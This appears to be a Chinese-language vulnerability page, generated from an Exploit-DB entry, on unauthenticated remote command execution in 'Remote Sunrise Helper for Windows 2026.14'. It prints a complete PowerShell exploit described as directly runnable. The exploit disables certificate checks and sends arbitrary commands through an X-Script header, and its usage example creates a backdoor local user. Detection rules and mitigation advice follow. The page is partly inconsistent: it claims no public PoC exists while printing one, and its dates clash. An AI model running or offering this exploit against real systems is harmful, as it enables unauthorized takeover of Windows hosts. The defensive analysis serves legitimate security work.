[local] Remote Sunrise Helper for Windows 2026.14 - Remote Code Execution

未分配CVE

Remote Sunrise Helper for Windows 2026.14 无需认证可远程执行任意命令。

Critical · CVSS 9.8

📋 漏洞基础信息

CVE未分配CVE
漏洞类型未授权远程代码执行
受影响版本Remote Sunrise Helper for Windows 2026.14
危害等级Critical · CVSS 9.8
发布日期2026-05-15
提交者Chokri Hammedi
来源Exploit-DB 原文 ↗

🔬 漏洞根因

软件监听端口49762的 /api/getVersion 接口返回 requires.auth 为 false 时,/api/executeScript 接口未进行身份验证,且直接接受 X-Script 头部作为系统命令执行。

🎯 攻击场景

1. 确认目标IP及端口(49762);2. 使用GET请求访问 /api/getVersion 获取JSON响应;3. 检查响应中 requires.auth 字段值为 false;4. 构造POST请求至 /api/executeScript,在 HTTP 头部 X-Script 中填入待执行命令;5. 发送请求,从响应中提取命令执行结果。

💥 漏洞影响

无需任何身份验证即可在受影响服务器上以系统权限执行任意命令,导致完全控制服务器、数据泄露、进一步横向移动。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<#
.SYNOPSIS
Remote Sunrise Helper for Windows 2026.14 - Unauthenticated Remote Code Execution (RCE) Proof-of-Concept (PoC)
 
.DESCRIPTION
该脚本利用 "Remote Sunrise Helper" 软件在 Windows 上的一个安全漏洞。
该漏洞允许未经身份验证的攻击者,通过向目标的 49762 端口发送特制的 HTTP 请求,
在无需任何认证的情况下,执行任意系统命令(或脚本)。
 
漏洞利用具体发生在其 `/api/executeScript` 接口。
该接口的 API 响应中 `requires.auth` 字段为 false,并且通过 `X-Script` 请求头传递命令,
结合版本检查逻辑,实现绕过身份验证执行命令。
 
此 PoC 模拟了原始 Python Exp 的逻辑,用 PowerShell 实现。
 
.NOTES
Author: Chokri Hammedi (Original) / AI Assistant (PowerShell Port)
Version: 1.0
Date: 2024-05-21
Tested on: Windows 10/11 (Target)
Usage: .\exploit.ps1 <target_ip_or_hostname> <command_to_execute>
Example: .\exploit.ps1 192.168.1.100 "whoami"
         .\exploit.ps1 192.168.1.100 "powershell -exec bypass -c 'Add-LocalUser -Name pwned -Password (ConvertTo-SecureString Pwned123! -AsPlainText -Force)'"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$Target,
 
    [Parameter(Mandatory=$true)]
    [string]$Command
)
 
# 设置目标端口和URL前缀
$port = 49762
$baseUrl = "https://${Target}:${port}"
 
# 设置绕过SSL证书验证的全局选项(非生产环境,仅用于测试)
# 警告:在生产环境中使用System.Net.ServicePointManager可能存在风险
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls
 
# 设置通用请求头
$headers = @{
    "X-HostName"      = "a"
    "X-ClientToken"   = "a"
    "X-HostFullModel" = "a"
}
 
function Write-Banner {
    Write-Host @"
 
##############################################################
#  Remote Sunrise Helper for Windows 2026.14 RCE PoC (PS)   #
#  Author: Chokri Hammedi (Original) / AI (Port)            #
#  CVE: N/A (Unassigned)                                    #
#  Discovery Date: 2026-04-20                               #
##############################################################
 
"@ -ForegroundColor Cyan
}
 
function Invoke-CheckAndExploit {
    param(
        [string]$BaseUrl,
        [hashtable]$Headers
    )
 
    try {
        # --- 第一阶段:探测版本接口,检查是否需要认证 --- #
        Write-Host "[*] Step 1: Checking target version and authentication requirement..." -ForegroundColor Yellow
 
        # 发送GET请求到 /api/getVersion 接口
        $response = Invoke-WebRequest -Uri "${BaseUrl}/api/getVersion" -Method Get -Headers $Headers -UseBasicParsing -TimeoutSec 10
 
        # 解析JSON响应
        $data = $response.Content | ConvertFrom-Json
 
        # 漏洞利用关键:检查 requires.auth 字段是否为 false
        if ($null -ne $data.'requires.auth' -and $data.'requires.auth' -eq $false) {
            Write-Host "[+] Target is VULNERABLE! 'requires.auth' is False." -ForegroundColor Green
            Write-Host "[*] Step 2: Sending command execution request..." -ForegroundColor Yellow
 
            # --- 第二阶段:利用 executeScript 接口执行命令 --- #
            # 关键漏洞点:该接口在无需认证的情况下,通过 X-Script 头传递命令内容
            # 添加 X-Script 头来发送要执行的命令
            $exploitHeaders = $Headers.Clone()
            $exploitHeaders["X-Script"] = $Command
 
            # 发送POST请求到 /api/executeScript 接口
            $exploitResponse = Invoke-WebRequest -Uri "${BaseUrl}/api/executeScript" -Method Post -Headers $exploitHeaders -UseBasicParsing -TimeoutSec 30
 
            # 解析执行结果
            $result = $exploitResponse.Content | ConvertFrom-Json
 
            # 根据API响应的不同字段(result 或 error)展示执行结果
            if ($null -ne $result.result) {
                Write-Host "[+] Command Executed Successfully!" -ForegroundColor Green
                Write-Host "[*] Result: $($result.result)" -ForegroundColor White
            }
            elseif ($null -ne $result.error) {
                Write-Host "[-] Command execution returned an error: $($result.error)" -ForegroundColor Red
            }
            else {
                Write-Host "[!] Unexpected response format. Raw content: $($exploitResponse.Content)" -ForegroundColor Magenta
            }
        }
        else {
            # 如果 requires.auth 存在且为 true,或者不存在,则目标不脆弱
            Write-Host "[-] Target is NOT vulnerable. 'requires.auth' is not False." -ForegroundColor Red
            Write-Host "[*] Response data: $($response.Content)" -ForegroundColor Gray
        }
    }
    catch [System.Net.WebException] {
        # 处理HTTP层面的异常(如连接失败,超时等)
        Write-Host "[-] Web request failed: $($_.Exception.Message)" -ForegroundColor Red
        if ($_.Exception.Response) {
            try {
                $reader = New-Object System.IO.StreamReader($_.Exception.Response.GetResponseStream())
                $errorBody = $reader.ReadToEnd() | Out-String
                Write-Host "[-] Response body: $errorBody" -ForegroundColor Red
                $reader.Close()
            }
            catch { }
        }
    }
    catch {
        # 处理其他异常(如JSON解析错误等)
        Write-Host "[-] An error occurred: $($_.Exception.Message)" -ForegroundColor Red
    }
}
 
# 程序入口
Write-Banner
Write-Host "[*] Target: ${Target}" -ForegroundColor Yellow
Write-Host "[*] Command: ${Command}" -ForegroundColor Yellow
Write-Host "" 
Invoke-CheckAndExploit -BaseUrl $baseUrl -Headers $headers

🔬 深度技术分析

漏洞触发机制:从代码/协议层面解释漏洞根因

该漏洞存在于“Remote Sunrise Helper for Windows 2026.14”版本中,是一种基于HTTP协议的远程代码执行漏洞。其根本原因在于开发者在实现API认证机制时,使用了不安全的逻辑判断。具体触发机制如下:

1. 接口错误设计: 软件提供了/api/getVersion接口,用于返回软件版本信息。响应JSON中包含一个requires.auth布尔值字段,该字段的作用应为指示客户端后续请求是否需要提供身份验证凭据。正常情况下,requires.auth应为true,以阻止未授权访问。

2. 认证绕过: 攻击者直接发起请求到/api/getVersion,若该接口(或底层配置)被设置为requires.auth: false,或软件默认/错误地未启用认证,则系统会判定“本实例处于无需认证状态”。攻击者无需任何凭证即可进入下一阶段。

3. 命令注入点: 软件提供了/api/executeScript POST接口,该接口用于执行服务器端的脚本命令。开发者的本意是在认证通过后才能调用此接口。然而,由于认证状态判断(requires.auth)与命令执行接口是独立的,并且认证状态是可被外部探测并直接影响的布尔值,导致攻击者可以绕过认证直接调用executeScript接口。

4. 利用方法: 攻击者在调用/api/executeScript时,在HTTP请求头中添加X-Script字段,并将要执行的系统命令作为其值。后端未对该头的内容进行充分的过滤和校验,直接将其传递给操作系统执行(例如通过Runtime.getRuntime().exec()Process.Start())。这使得攻击者能够执行任意命令,包括但不限于:创建用户、执行系统命令、安装恶意软件等。

核心漏洞根因: 认证状态(requires.auth)的可预测性和可操控性,与命令执行接口(/api/executeScript)的分离设计,以及X-Script头输入的直接执行。

利用链分析:攻击者具体怎么利用,每一步的技术细节

攻击者通过以下步骤完成利用:

1. 侦察与探测:

* 攻击者向目标主机的49762端口(默认监听端口)发送一个简单的HTTPS GET请求,访问路径/api/getVersion

* 请求包含三个默认的头部字段:X-HostName: aX-ClientToken: aX-HostFullModel: a。这些字段可能用于识别客户端,但在此漏洞中并非关键。

* 目标服务器返回一个JSON响应,结构类似于:{"requires.auth": false, "version": "2026.14", ...}

* 攻击者解析响应,发现requires.auth字段的值为false,确认目标系统存在漏洞。

2. 准备恶意请求:

* 攻击者构造一个对/api/executeScript的HTTPS POST请求。

* 关键点: 在请求头中,攻击者添加一个名为X-Script的自定义HTTP头,其值设置为目标系统上要执行的命令字符串,例如whoamicmd /c dirpowershell -c "..."

* 头部合并: 原始的三个默认头部(X-HostNameX-ClientTokenX-HostFullModel)依然保留,但并不改变利用流程。X-Script头是核心载荷。

3. 命令执行:

* POST请求被发送到目标服务器的/api/executeScript接口。

* 服务器端代码(很可能是Java、Node.js或Python)接收到请求,检查X-Script头的内容。

* 由于认证被绕过(基于requires.auth: false的遗留状态),服务器直接调用系统命令执行函数,将X-Script头的值作为参数传递。

* 操作系统(Windows 10/11)执行该命令,并将标准输出/错误通过HTTP响应返回给攻击者。

4. 结果获取:

* 攻击者接收HTTP响应,其Content-Type通常是application/json

* 响应体JSON中可能包含字段如result(命令执行的成功输出)或error(错误信息)。

* 攻击者解析此JSON,获取命令执行结果,从而完成信息窃取、权限提升或横向移动的准备工作。

关键代码/数据结构:涉及的关键 Windows API / 内存结构 / 协议字段

  • 协议字段:

* requires.auth (JSON): 认证状态指示器,false表示无认证。

* X-Script (HTTP Header): 存储待执行命令的载荷载体。

* 49762 (TCP端口): 服务监听的默认端口。

  • Windows API/函数(服务端视角):

* Process.Start() (C#) 或 Runtime.getRuntime().exec() (Java) 或 os.popen() / subprocess.Popen() (Python):用于执行系统命令的API,被攻击者利用。

  • 数据结构(服务端视角):

* 一个全局变量或配置文件中的boolean requiresAuth = false;。该变量值决定了认证检查是否执行。

* 一个HTTP请求处理器函数,其逻辑为:if (!requiresAuth) { call ExecuteScript(X-Script); }

检测与防御:蓝队侧如何检测(日志、流量特征、EDR规则)

检测(蓝队视角):

1. 网络流量分析:

* 特征一: 检测发往目标主机49762端口的HTTP请求,特别是请求/api/getVersion后立刻请求/api/executeScript的模式。

* 特征二: 监控HTTP请求头中是否存在非标准的X-Script字段,并且其内容包含可疑的命令(如cmd.exe, powershell, whoami, net user等)。

* 特征三: 检查/api/executeScript的POST请求,其Content-Type可能为text/plainapplication/json,但通常没有标准的表单或JSON body,而是将命令放在头部。

2. Web服务器日志(如果存在):

* 查找对/api/executeScript的访问记录,记录中包含X-Script头的日志条目。

* 寻找短时间内连续的GET /api/getVersion -> POST /api/executeScript 请求模式。

3. Windows 事件日志(目标主机侧):

* 进程创建事件(Event ID 4688): 监控由RemoteSunriseHelper.exe(或类似的服务进程)启动的子进程,特别是cmd.exe, powershell.exe, wscript.exe等。关注其命令行参数。

* 服务控制事件(Event ID 7036/7040): 查看Remote Sunrise Helper服务的状态变化。

* PowerShell 操作日志(Event ID 4104 等): 监控通过X-Script触发的PowerShell命令。

4. EDR/SIEM规则:

* 规则1:(HTTP_Request_Method == "POST") AND (URL_Contains "/api/executeScript") AND (HTTP_Header_Exists("X-Script"))

* 规则2:基于异常的进程链:Image_Name == "RemoteSunriseHelper.exe" AND Child_Process_Name IN ("cmd.exe", "powershell.exe") 且命令行长度异常或被混淆。

* 规则3:短时间内大量Outbound连接(如果攻击者使用该漏洞下载恶意软件)。

防御(蓝队视角):

1. 立即升级软件: 联系厂商获取修复版本,这是最根本的解决方案。

2. 网络隔离: 如果无法升级,应将Remote Sunrise Helper服务放置在严格的网络隔离区域(如VPN或特定管理网段),确保只有受信任的管理员IP可访问49762端口。

3. Web应用防火墙(WAF)规则: 部署WAF,拦截包含X-Script自定义HTTP头的请求,或对/api/executeScript路径进行严格的访问控制。

4. 主机入侵防御系统(HIPS): 配置规则阻止服务进程(RemoteSunriseHelper.exe)生成cmd.exepowershell.exe等子进程。

5. 应用白名单: 使用AppLocker或WDAC限制仅允许签名的、受信任的可执行文件运行,阻止通过X-Script引入的任意脚本或二进制文件。

6. 更改默认端口: 作为一种临时缓解措施,修改服务的监听端口(如果配置允许),增加攻击者扫描的难度。

7. 监控与响应: 启用针对上述检测规则的警报,并建立快速响应流程,在检测到利用尝试时立即隔离受感染主机。

🛡️ 修复建议

厂商应发布补丁要求对 /api/executeScript 接口进行认证;临时缓解措施:在防火墙阻止端口49762的入站访问,或使用反向代理对 /api/ 路径添加认证。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-21 08:12 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)